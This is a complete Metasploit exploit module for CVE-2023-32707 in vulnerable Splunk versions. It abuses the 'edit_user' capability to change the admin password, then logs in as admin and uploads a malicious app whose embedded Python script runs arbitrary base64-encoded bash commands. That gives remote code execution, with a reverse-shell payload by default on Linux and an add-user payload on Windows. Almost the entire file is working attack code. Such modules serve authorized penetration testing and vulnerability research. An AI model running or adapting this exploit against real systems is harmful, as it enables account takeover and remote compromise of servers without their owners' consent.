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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
attr_accessor :cookie
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Splunk "edit_user" Capability Privilege Escalation',
'Description' => %q{
A low-privileged user who holds a role that has the "edit_user" capability assigned to it
can escalate their privileges to that of the admin user by providing a specially crafted web request.
This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf
configuration file, which prevents this scenario from happening.
This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.
},
'Author' => [
'Mr Hack (try_to_hack) Santiago Lopez', # discovery
'Heyder Andrade', # metasploit module
'Redway Security <redwaysecurity.com>' # Writeup and PoC
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2023-32707' ],
[ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory
[ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup
[ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC
],
'Payload' => {
'Space' => 1024,
'DisableNops' => true
},
'Platform' => %w[linux unix win osx],
'Targets' => [
[
'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python',
# just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:'
'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'
}
}
],
[
'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8000,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS, # requests are logged in the _audit index
# ARTIFACTS_ON_DISK # app is removed in the cleanup method
]
},
'DisclosureDate' => '2023-06-01'
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),
OptString.new('PASSWORD', [true, 'The password for the specified username']),
OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),
OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),
OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(\s|-|_){1,}/, '')])
]
)
# That depends on finding a strategy to distinguish commands that return output and commands that don't
# register_advanced_options(
# [
# OptBool.new('ReturnOutput', [ true, 'Display command output', false ])
# ]
# )
end
def check
splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'output_mode' => 'json'
}
})
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
body = res.get_json_document
version = Rex::Version.new(body['generator']['version'])
return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless (
(Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||
(Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||
(Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))
)
print_status("Detected Splunk version #{version} which is vulnerable")
capabilities = body['entry'].first['content']['capabilities']
return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")
end
def app_name
datastore['APP_NAME']
end
# The cleanup method is removing the app before the session is closed and it is broking the session.
#
def cleanup
return unless session_created?
super
# Destroy job
vprint_status("Cleaning up: destroying job #{@job_id}")
send_request_cgi({
'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),
'method' => 'DELETE',
'cookie' => cookie
})
# Remove app
vprint_status("Cleaning up: removing app #{app_name}")
execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
}
})
end
def exploit
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])
@job_id = execute_command(payload.encoded, { app_name: app_name })
# TODO: distinguish commands that return output and commands that don't
# fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput']
# if datastore['ReturnOutput']
# print_status('Waiting for command output')
# print_line(splunk_fetch_job_output)
# end
end
def execute_command(cmd, opts = {})
res = send_request_cgi({
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => cookie,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
},
'vars_post' =>
{
'auto_cancel' => '62',
'status_buckets' => '300',
'output_mode' => 'json',
'search' => "| #{app_name} #{Rex::Text.encode_base64(cmd)}",
'earliest_time' => '-1@h',
'latest_time' => 'now',
'ui_dispatch_app' => (opts[:app_name]).to_s
}
})
fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200
body = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']
body['data']
end
def splunk_helper_extract_token(uri)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, uri),
'method' => 'GET',
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200
"session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
end
def splunk_login(username, password)
# gets cval and splunkweb_uid cookies
self.cookie = splunk_helper_extract_token('/en-US/account/login')
# login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' =>
{
'username' => username,
'password' => password,
'cval' => cookies_hash['cval']
}
})
fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200
cookie << " #{res.get_cookies}"
end
def splunk_change_password(username, password)
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
do_login(username, password) unless cookie
print_status("Changing '#{username}' password to #{password}")
res = send_request_cgi({
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
'method' => 'POST',
'headers' => {
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
'X-Requested-With' => 'XMLHttpRequest'
},
'cookie' => cookie,
'vars_post' => {
'output_mode' => 'json',
'password' => password,
'force-change-pass' => 0,
'locked-out' => 0
}
})
fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200
print_good("Password of the user '#{username}' has been changed to #{password}")
body = res.get_json_document
capabilities = body['entry'].first['content']['capabilities']
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
end
def splunk_upload_app(app_name, _file_name)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
'method' => 'GET',
'cookie' => cookie
})
fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200
html = res.get_html_document
print_status("Uploading file #{app_name}")
data = Rex::MIME::Message.new
# fill the hidden fields from the form: state and splunk_form_key
html.at('[id="installform"]').elements.each do |form|
next unless form.attributes['value']
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
end
data.add_part('1', nil, nil, 'form-data; name="force"')
data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
post_data = data.to_s
res = send_request_cgi({
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
end
# def splunk_fetch_job_output
# res = send_request_cgi({
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
# 'method' => 'GET',
# 'keep_cookies' => true,
# 'cookie' => cookie,
# 'vars_get' => {
# 'output_mode' => 'json'
# }
# })
# fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200
# body = res.get_json_document
# fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('\n')}") if body['results'].empty?
# Rex::Text.decode_base64(body['results'].first['result'])
# end
def splunk_app
# metadata folder
metadata = <<~EOF
[commands]
export = system
EOF
# default folder
commands_conf = <<~EOF
[#{app_name}]
type = python
filename = #{app_name}.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0
EOF
app_conf = <<~EOF
[launcher]
author=#{Faker::Name.name}
description=#{Faker::Lorem.sentence}
version=#{Faker::App.version}
[ui]
is_visible = false
EOF
# bin folder
msf_exec_py = <<~EOF
import sys, base64, subprocess
import splunk.Intersplunk
header = ['result']
results = []
try:
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = proc.stdout.read().decode('utf-8')
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
except Exception as e:
error_msg = f'Error : {str(e)} '
results = splunk.Intersplunk.generateErrorResults(error_msg)
splunk.Intersplunk.outputResults(results, fields=header)
EOF
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
io.write metadata
end
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
io.write commands_conf
end
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
io.write app_conf
end
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
io.write msf_exec_py
end
end
tarfile.rewind
tarfile.close
Rex::Text.gzip(tarfile.string)
end
def cookies_hash
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
end
end
